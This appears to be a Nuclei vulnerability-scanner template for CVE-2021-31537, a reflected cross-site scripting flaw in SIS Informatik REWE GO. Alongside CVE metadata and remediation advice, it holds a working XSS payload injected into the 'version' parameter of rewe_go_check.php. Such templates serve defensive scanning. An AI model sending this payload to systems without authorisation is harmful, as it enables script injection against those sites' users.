50 lines
2.1 KiB
YAML
50 lines
2.1 KiB
YAML
id: CVE-2021-31537
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info:
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name: SIS Informatik REWE GO SP17 <7.7 - Cross-Site Scripting
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author: geeknik
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severity: medium
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description: SIS Informatik REWE GO SP17 before 7.7 contains a cross-site scripting vulnerability via rewe/prod/web/index.php (affected parameters are config, version, win, db, pwd, and user) and /rewe/prod/web/rewe_go_check.php (version and all other parameters).
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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To remediate this issue, ensure that all user-supplied input is properly validated and sanitized before being displayed on web pages.
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reference:
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- https://sec-consult.com/vulnerability-lab/advisory/reflected-xss-sis-infromatik-rewe-go-cve-2021-31537/
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- http://seclists.org/fulldisclosure/2021/May/20
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- https://sisinformatik.com/rewe-go/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31537
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- https://github.com/ARPSyndicate/cvemon
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-31537
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cwe-id: CWE-79
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epss-score: 0.00355
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epss-percentile: 0.71969
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cpe: cpe:2.3:a:sisinformatik:sis-rewe_go:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: sisinformatik
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product: sis-rewe_go
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tags: cve2021,cve,xss,seclists,intrusive,sisinformatik
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http:
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- method: GET
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path:
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- "{{BaseURL}}/rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm({{randstr}})%3c%2fscript%3e&win=2707"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- <script>confirm({{randstr}})</script>
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- SIS-REWE
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condition: and
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- type: word
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part: header
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words:
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- text/html
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# digest: 4a0a00473045022074fa2eefd54c49e067c7b03e4b63355d495e8731b2236215abe908c6373eb73d022100e598dcc890332b546006164d52e772f1f6e9fd9b51df9c4ba6496829000bd407:922c64590222798bb761d5b6d8e72950 |